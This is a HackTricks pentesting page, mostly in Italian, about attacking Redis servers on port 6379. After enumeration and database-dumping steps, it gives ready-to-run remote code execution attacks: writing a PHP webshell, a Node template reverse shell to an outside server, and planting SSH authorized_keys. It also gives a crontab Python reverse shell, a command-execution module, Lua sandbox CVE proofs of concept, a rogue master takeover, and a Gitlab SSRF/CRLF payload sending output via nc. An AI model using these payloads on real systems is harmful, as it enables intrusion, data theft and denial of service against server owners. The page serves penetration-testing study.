6379 - Pentesting Redis
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
From the docs: Redis è open source (licenza BSD), in-memory archivio di strutture dati, utilizzato come database, cache e message broker).
Per impostazione predefinita Redis usa un protocollo basato su testo in chiaro, ma bisogna ricordare che può anche implementare ssl/tls. Learn how to run Redis with ssl/tls here.
Porta predefinita: 6379
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
Enumerazione automatica
Alcuni strumenti automatici che possono aiutare a ottenere informazioni da unâistanza redis:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
Manual Enumeration
Banner
Redis è un protocollo basato su testo, puoi semplicemente inviare il comando tramite socket e i valori restituiti saranno leggibili. Ricorda anche che Redis può funzionare usando ssl/tls (ma questo è molto strano).
In una normale istanza Redis puoi connetterti semplicemente usando nc oppure puoi anche usare redis-cli:
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
Il primo comando che potresti provare è info. Potrebbe restituire output con informazioni sullâistanza Redis o qualcosa di simile al seguente:
-NOAUTH Authentication required.
In questâultimo caso, questo significa che hai bisogno di credenziali valide per accedere allâistanza Redis.
Autenticazione Redis
Per impostazione predefinita Redis può essere accessibile senza credenziali. Tuttavia, può essere configurato per supportare solo password, o username + password.
Ă possibile impostare una password nel file redis.conf con il parametro requirepass o temporaneamente fino al riavvio del servizio connettendosi ad esso ed eseguendo: config set requirepass p@ss$12E45.
Inoltre, un username può essere configurato nel parametro masteruser allâinterno del file redis.conf.
Tip
Se è configurata solo la password lo username usato è âdefaultâ.
Inoltre, nota che non câè modo di scoprire esternamente se Redis è stato configurato con solo password o username+password.
In casi come questo dovrai trovare credenziali valide per interagire con Redis quindi puoi provare a brute-forcearlo.
Se hai trovato credenziali valide devi autenticare la sessione dopo aver stabilito la connessione con il comando:
AUTH <username> <password>
Credenziali valide riceveranno come risposta: +OK
Authenticated enumeration
Se il server Redis permette connessioni anonime o se hai ottenuto credenziali valide, puoi avviare il processo di enumerazione del servizio usando i seguenti comandi:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
Altri comandi Redis can be found here e here.
Nota che i comandi Redis di unâistanza possono essere rinominati o rimossi nel file redis.conf. Per esempio questa riga rimuoverĂ il comando FLUSHDB:
rename-command FLUSHDB ""
More informazioni su come configurare in modo sicuro un servizio Redis qui: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
Puoi anche monitorare in tempo reale i comandi Redis eseguiti con il comando monitor oppure ottenere le 25 query piĂš lente con slowlog get 25
Trovi altre informazioni interessanti su altri comandi Redis qui: https://lzone.de/cheat-sheet/Redis
Dump del database
Allâinterno di Redis le database sono numerate a partire da 0. Puoi verificare se qualcuna è in uso nellâoutput del comando info nella sezione âKeyspaceâ:
.png)
Oppure puoi semplicemente ottenere tutti i keyspaces (database) con:
INFO keyspace
In quellâesempio vengono usati i database 0 e 1. Database 0 contiene 4 keys e database 1 contiene 1. Per impostazione predefinita Redis userĂ il database 0. Per eseguire il dump, ad esempio del database 1, devi fare:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
Nel caso in cui ricevi il seguente errore -WRONGTYPE Operation against a key holding the wrong kind of value eseguendo GET <KEY>, è perchÊ la chiave potrebbe non essere una stringa o un intero e richiede un operatore specifico per visualizzarla.
Per conoscere il tipo della chiave, usa il comando TYPE; esempio qui sotto per chiavi di tipo list e hash.
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
Esegui il dump del database con npm redis-dump o python redis-utils
Redis RCE
Interactive Shell
redis-rogue-server può ottenere automaticamente una interactive shell o una reverse shell in Redis(<=5.0.5).
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
PHP Webshell
Informazioni da here. Devi conoscere il percorso della cartella del sito web:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
Se lâaccesso via webshell solleva unâeccezione, puoi svuotare il database dopo aver effettuato un backup e riprovare; ricordati di ripristinare il database.
Webshell da template
Come nella sezione precedente, puoi anche sovrascrivere alcuni file template html che verranno interpretati da un template engine per ottenere una shell.
Per esempio, seguendo this writeup, si può vedere che lâattaccante ha iniettato una rev shell in an html interpretata dal nunjucks template engine:
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
Warning
Nota che several template engines cache i template in memory, quindi anche se li sovrascrivi, il nuovo wonât be executed. In questi casi, o lo sviluppatore ha lasciato lâautomatic reload attivo oppure devi fare un DoS sul servizio (e aspettarti che verrĂ rilanciato automaticamente).
SSH
Example from here
Tieni presente che il risultato di config get dir può essere modificato da altri comandi di exploit manuali. Si consiglia di eseguirlo subito dopo il login in Redis. Nellâoutput di config get dir potresti trovare la home dellâredis user (di solito /var/lib/redis o /home/redis/.ssh), e sapendo questo sai dove puoi scrivere il file authenticated_users per accedere via ssh with the user redis. Se conosci la home di un altro utente valido dove hai permessi di scrittura puoi anche abusarne:
- Generate a ssh public-private key pair on your pc:
ssh-keygen -t rsa - Write the public key to a file :
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt - Import the file into redis :
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key - Save the public key to the authorized_keys file on redis server:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
- Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52
This technique is automated here: https://github.com/Avinash-acid/Redis-Server-Exploit
Additionally, system users can also be discovered by checking with config set dir /home/USER, and upon confirmation, a new authorized_keys can be written to /home/USER/.ssh/authorized_keys. Use redis-rce-ssh to bruteforce this with a usernames wordlist and overwrite authorized_keys.
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
Lâultimo esempio è per Ubuntu, per Centos, il comando sopra dovrebbe essere: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
Questo metodo può anche essere usato per guadagnare bitcoin ďźyam
Caricare un modulo Redis
- Seguendo le istruzioni da https://github.com/n0b0dyCN/RedisModules-ExecuteCommand puoi compilare un redis module per eseguire comandi arbitrari.
- Poi ti serve un modo per caricare il modulo compilato
- Carica il modulo caricato a runtime con
MODULE LOAD /path/to/mymodule.so - Elenca i moduli caricati per verificare che sia stato caricato correttamente:
MODULE LIST - Esegui comandi:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
- Scarica il modulo quando vuoi:
MODULE UNLOAD mymodule
Bypass del sandbox LUA
Here puoi vedere che Redis usa il comando EVAL per eseguire codice Lua in sandbox. Nel post linkato puoi vedere come abusarne usando la funzione dofile, ma apparently questo non è piÚ possibile. Comunque, se riesci a bypassare il sandbox Lua potresti eseguire comandi arbitrari sul sistema. Inoltre, dallo stesso post puoi vedere alcune opzioni per causare DoS.
Alcuni CVE per evadere LUA:
Redis Lua Scripting Engine: Sandbox Escapes & Memory Corruption (CVE-2025-49844/46817/46818)
Le recenti release di Redis hanno risolto molteplici problemi nel motore Lua incorporato che permettono escape dal sandbox, corruzione di memoria ed esecuzione di codice cross-user. Queste tecniche si applicano quando:
- Lâattaccante può autenticarsi a Redis e Lua è abilitato (EVAL/EVALSHA o FUNCTION sono utilizzabili)
- La versione di Redis è precedente a 8.2.2, 8.0.4, 7.4.6, 7.2.11, o 6.2.20
Tip: Se sei nuovo ai trucchi per il sandboxing Lua, consulta questa pagina per tecniche generali:
Contestualizzazione a livello di patch:
- Risolto in: 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20
- Interessato quando lo scripting Lua è abilitato e le versioni sopra non sono applicate
CVE-2025-49844 â GC-timed Use-After-Free in Lua parser (lparser.c: luaY_parser)
- Idea: Forzare la garbage collection mentre il parser fa ancora riferimento a una TString appena inserita. Quando la GC la recupera, il parser usa un puntatore liberato (UAF) â crash/DoS e potenziale esecuzione di codice nativo al di fuori del sandbox Lua.
- Strategia di trigger:
- Creare pressione di memoria con stringhe enormi per incoraggiare lâattivitĂ della GC
- Eseguire esplicitamente la GC mentre un grande chunk di sorgente viene compilato
- Compilare uno script Lua molto grande in un loop fino a che la GC si allinei con il parsing
Minimal EVAL harness per riprodurre i crash
# Auth as needed (-a/--user), then run EVAL with 0 keys
redis-cli -h <host> -p 6379 -a <password> EVAL "\
local a = string.rep('asdf', 65536); \
collectgarbage('collect'); \
local src = string.rep('x', 1024 * 1024); \
local f = loadstring(src); \
return 'done'" 0
Note:
- Potrebbero essere necessari piÚ tentativi per allineare il GC con luaY_parser. Un crash indica che è stato colpito un UAF.
- Dallo sfruttamento alla RCE sono necessari memory grooming e native code pivoting al di fuori della Redis Lua sandbox.
CVE-2025-46817 â Integer overflow in unpack (lbaselib.c: luaB_unpack)
- Causa principale: il conteggio
n = e - i + 1viene calcolato senza unsigned casts, quindi indici estremi fanno wrap, facendo sĂŹ che Lua tenti di eseguire unpack su molti piĂš elementi di quelli esistenti â stack corruption e memory exhaustion. - PoC (DoS/mem exhaustion):
redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
- Aspettati che il server provi a restituire un numero enorme di valori e finisca con il crash o un OOM.
CVE-2025-46818 â Cross-user privilege escalation via basic type metatables
- Causa principale: Allâavvio del motore, le metatables per i tipi di base (es., strings, booleans) non venivano impostate come read-only. Qualsiasi utente autenticato può corromperle per iniettare metodi che altri utenti potrebbero chiamare in seguito.
- Esempio (string metatable poisoning):
# Inject a method on strings and then exercise it
redis-cli -h <host> -p 6379 -a <password> EVAL "\
getmetatable('').__index = function(_, key) \
if key == 'testfunc' then \
return function() return 'testfuncoutput' end \
end \
end; \
return ('teststring').testfunc()" 0
# â Returns: testfuncoutput
- Impatto: Esecuzione di codice cross-user allâinterno della sandbox Lua usando i permessi Redis della vittima. Utile per lateral movement/priv-esc nei contesti ACL di Redis.
Master-Slave Module
âTutte le operazioni del master redis vengono automaticamente sincronizzate sullo slave redis, il che significa che possiamo considerare il redis vulnerabile come uno slave redis connesso al master redis che controlliamo; in questo modo possiamo inviare comandi al nostro redis.
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
SSRF che comunica con Redis
Se puoi inviare richieste in clear text a Redis, puoi comunicare con esso poichĂŠ Redis leggerĂ la richiesta riga per riga e risponderĂ con errori solo alle righe che non capisce:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
Pertanto, se trovi una SSRF vuln in un sito web e puoi controllare alcuni headers (forse con una CRLF vuln) o POST parameters, sarai in grado di inviare comandi arbitrari a Redis.
Esempio: Gitlab SSRF + CRLF to Shell
In Gitlab11.4.7 sono state scoperte una vulnerabilitĂ SSRF e una CRLF. La vulnerabilitĂ SSRF si trovava nella funzionalitĂ import project from URL durante la creazione di un nuovo progetto e permetteva lâaccesso a IP arbitrari nella forma [0:0:0:0:0:ffff:127.0.0.1] (questo accederĂ a 127.0.0.1), e la CRLF vuln è stata sfruttata semplicemente aggiungendo i caratteri %0D%0A allâURL.
Pertanto, è stato possibile abusare di queste vulnerabilitĂ per parlare con lâistanza Redis che gestisce le queues di gitlab e abusare di quelle queues per ottenere code execution. Il Redis queue abuse payload è:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
E la URL encode request abusing SSRF e CRLF per eseguire un whoami e inviare lâoutput tramite nc è:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Per qualche motivo (come per lâautore di https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ da cui è stata presa questa informazione) lo sfruttamento ha funzionato con lo schema git e non con lo schema http.
Riferimenti
- Recent Vulnerabilities in Redis Serverâs Lua Scripting Engine (OffSec)
- NVD: CVE-2025-49844
- NVD: CVE-2025-46817
- NVD: CVE-2025-46818
- Wiz analysis of Redis RCE (CVE-2025-49844)
- PoC: CVE-2025-49844 â Lua parser UAF
- PoC: CVE-2025-46817 â unpack integer overflow
- PoC: CVE-2025-46818 â basic-type metatable abuse
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

